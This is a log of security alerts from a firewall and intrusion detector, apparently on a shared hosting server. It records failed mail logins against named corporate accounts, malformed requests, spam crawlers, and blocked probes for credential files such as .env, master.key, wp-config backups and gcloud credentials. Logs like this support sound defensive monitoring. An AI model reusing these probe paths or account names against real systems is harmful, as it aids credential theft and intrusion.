2026-07-16 22:18:42 dovecot_login authenticator failed for H=([123.118.230.64]) [45.118.32.190]:55199: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.163.187.174
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f71475703 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.134.24.22
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/02568305 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.153.201.95
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/051275753 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.211.127.19
country_id: 1835841
description:
2026-07-16 22:23:51 dovecot_login authenticator failed for H=([67.201.38.131]) [211.211.127.19]:34669: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.204.163.209
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/05535319 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-16 22:25:46 dovecot_login authenticator failed for H=([182.95.176.122]) [181.54.70.40]:47230: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.208.102.18
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/10303992 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.94.142
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0b2615094 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-16 22:29:35 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [103.168.241.32]:58117: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-16 22:29:50 dovecot_login authenticator failed for H=(90-230-115-5-no2550.tbcn.telia.com) [182.78.86.62]:34150: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.230.169.180
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c81638855 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.42.149.215
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d51698083 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 32.199.104.204
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:ddgalaxy||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.83.221.211
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/config/master.key||User:ddgalaxy||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 35.83.221.211
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.29||T:APACHE||MV:wp-config.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-16 22:32:50 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([123.163.48.70]) [80.1.51.168]:58456: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-16 22:33:09 dovecot_login authenticator failed for H=([203.196.42.114]) [65.20.204.88]:35626: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.242.232.183
country_id: 1819730
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:ddgalaxy||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.169.111.218
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e62819998 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 47.242.232.183
country_id: 1819730
domain: ddgalaxy.in
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/storage/framework/.env||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-16 22:34:46 dovecot_login authenticator failed for H=([49.124.145.62]) [1.227.228.131]:34001: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.161
country_id: 1733045
description:
2026-07-16 22:35:17 dovecot_login authenticator failed for H=([65.20.138.46]) [183.171.49.161]:48862: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-16 22:36:58 dovecot_login authenticator failed for H=([175.213.137.209]) [118.37.27.11]:36256: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.8
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/023016496 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-16 22:36:39 dovecot_login authenticator failed for H=([77.41.156.64]) [192.34.164.13]:58939: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.29.24.169
country_id: 1527747
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/01565205 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.200.249.128
country_id: 2077456
description:
2026-07-16 22:36:48 dovecot_login authenticator failed for H=14-200-249-128.tpgi.com.au ([111.26.80.229]) [14.200.249.128]:36815: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-16 22:37:10 dovecot_login authenticator failed for H=([41.207.248.138]) [59.25.212.83]:40980: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.175.158
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/052848882 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.151.104.33
country_id: 3624060
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/061950577 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-16 22:39:32 dovecot_login authenticator failed for H=([174.64.199.85]) [171.244.60.35]:59416: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.238.16.28
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/083264798 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.0.150
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/091901759 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.63.217.157
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/123506940 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-16 22:43:24 dovecot_login authenticator failed for H=(200-153-121-1.customer.tdatabrasil.net.br) [210.118.224.138]:55530: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.213.149
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/163248349 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 22:43:12 dovecot_login authenticator failed for H=([112.196.52.107]) [188.122.37.97]:38684: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 139.59.66.222
country_id: 1269750
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ibmcglobal||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-16 22:44:36 dovecot_login authenticator failed for H=([39.171.42.206]) [119.192.219.77]:41874: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.98.22
country_id: 1269750
description:
2026-07-16 22:44:56 dovecot_login authenticator failed for H=([70.166.167.49]) [27.123.98.22]:41254: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.204.91.30
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/163836292 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.206.153.59
country_id: 290557
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f3365207 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.70.141.241
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/20983957 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-16 22:49:09 dovecot_login authenticator failed for H=([122.185.0.201]) [182.95.127.42]:40560: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-16 22:49:29 dovecot_login authenticator failed for H=([142.54.228.195]) [197.242.170.10]:63001: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-16 22:49:42 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([60.216.89.122]) [64.207.225.55]:37958: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-16 22:49:52 dovecot_login authenticator failed for H=([125.129.142.200]) [65.20.202.4]:56783: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.235.16.12
country_id: 163843
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.huanshi100.com/\">\xe6\x96\xb0\xe8\xa7\x86\xe7\x82\xb9app\xe5\xae\x98\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-16 22:51:41 dovecot_login authenticator failed for H=([49.124.155.149]) [210.5.117.238]:65067: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-16 22:51:58 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([142.54.236.102]) [94.255.255.26]:45880: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-07-16 22:54:21 dovecot_login authenticator failed for H=([102.38.3.107]) [65.20.187.47]:41682: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.210.210
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c116561 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-16 22:54:28 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([122.53.106.124]) [37.207.215.2]:3985: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-16 22:54:59 dovecot_login authenticator failed for H=(95-31-209-102.broadband.corbina.ru) [122.185.101.50]:41264: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-16 22:57:13 dovecot_login authenticator failed for H=([41.65.118.172]) [103.163.44.10]:43968: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-16 22:57:34 dovecot_login authenticator failed for H=([65.20.179.251]) [203.194.5.183]:58464: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-16 22:58:16 dovecot_login authenticator failed for H=([196.191.142.67]) [202.88.209.51]:39328: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.129.134.74
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/463327737 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.28.112.112
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/482230700 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.176.138.124
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/47600153 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-07-16 23:01:58 dovecot_login authenticator failed for H=([91.86.92.45]) [122.187.234.54]:57002: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.94.205.12
country_id: 2264397
description:
2026-07-16 23:02:16 dovecot_login authenticator failed for H=a95-94-205-12.cpe.netcabo.pt ([115.144.178.210]) [95.94.205.12]:42530: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.247.227.151
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4c2190386 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.49.91
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4d2200507 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.71.58
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4e420646 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.21.137.217
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/531241756 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.49.39.229
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/571284973 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.220.234.72
country_id: 2077456
description:
2026-07-16 23:05:39 dovecot_login authenticator failed for H=([192.252.210.237]) [203.220.234.72]:57639: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-16 23:06:08 dovecot_login authenticator failed for H=([188.247.43.42]) [65.20.179.251]:54447: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-16 23:06:23 dovecot_login authenticator failed for H=([174.64.199.85]) [182.95.150.106]:60388: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.81.238.155
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/632016396 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-16 23:07:20 dovecot_login authenticator failed for H=([24.249.199.26]) [41.89.128.6]:40410: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.93.203
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/682535555 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.133.88.182
country_id: 3439705
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/691051672 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.76.57.160
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/722145544 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.15.20.34
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/781706047 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.53.162.9
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/791039807 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-16 23:16:55 dovecot_login authenticator failed for H=([192.252.214.22]) [14.32.231.200]:53506: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-16 23:16:20 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([109.63.222.198]) [66.45.144.201]:41432: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.249.168.132
country_id: 3686110
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8686815 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.90.172.190
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8c61374 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-16 23:19:59 dovecot_login authenticator failed for H=([222.168.35.178]) [118.33.119.34]:48982: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-16 23:21:34 dovecot_login authenticator failed for H=([103.127.32.106]) [103.207.9.154]:41026: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.230.93.69
country_id: 130758
description:
2026-07-16 23:21:54 dovecot_login authenticator failed for H=([218.156.38.44]) [109.230.93.69]:39572: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.73
country_id: 1269750
description:
2026-07-16 23:21:58 dovecot_login authenticator failed for H=(ipv4-ip63-211-169-103.usercontent.jetdino.com) [122.187.230.73]:56309: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.120.182
country_id: 1835841
description:
2026-07-16 23:22:07 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [121.1.120.182]:36736: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.12.6.134
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/95616399 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-07-16 23:21:22 dovecot_login authenticator failed for H=([142.54.239.4]) [20.46.45.121]:52609: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.169.211.63
country_id: 1643084
description:
2026-07-16 23:22:12 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [103.169.211.63]:53266: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.91.135.220
country_id: 2328926
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a02915659 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 t\xc3\xa1i canh c\xc3\xa0 ph\xc3\xaa (<a href=\"https://apds.ircam.fr/index.php/Utilisateur:LesliTownsend5\">https://apds.ircam.fr/index.php/Utilisateur:LesliTownsend5</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-16 23:25:05 dovecot_login authenticator failed for H=([112.165.176.138]) [136.56.34.147]:53988: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.15.5
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a82042247 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.235.27.2
country_id: 3017382
description:
2026-07-16 23:25:37 dovecot_login authenticator failed for H=([74.208.177.56]) [213.235.27.2]:48246: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.40.13
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ad2766288 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.132.150.44
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b72528303 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-16 23:27:09 dovecot_login authenticator failed for H=([216.229.78.219]) [94.16.17.139]:40548: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-16 23:27:32 dovecot_login authenticator failed for H=([94.16.17.140]) [210.206.24.237]:31167: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-16 23:27:32 dovecot_login authenticator failed for H=(ccabv.org9.static.gvt.net.br) [182.95.109.138]:34860: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.177.220.51
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b72629063 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
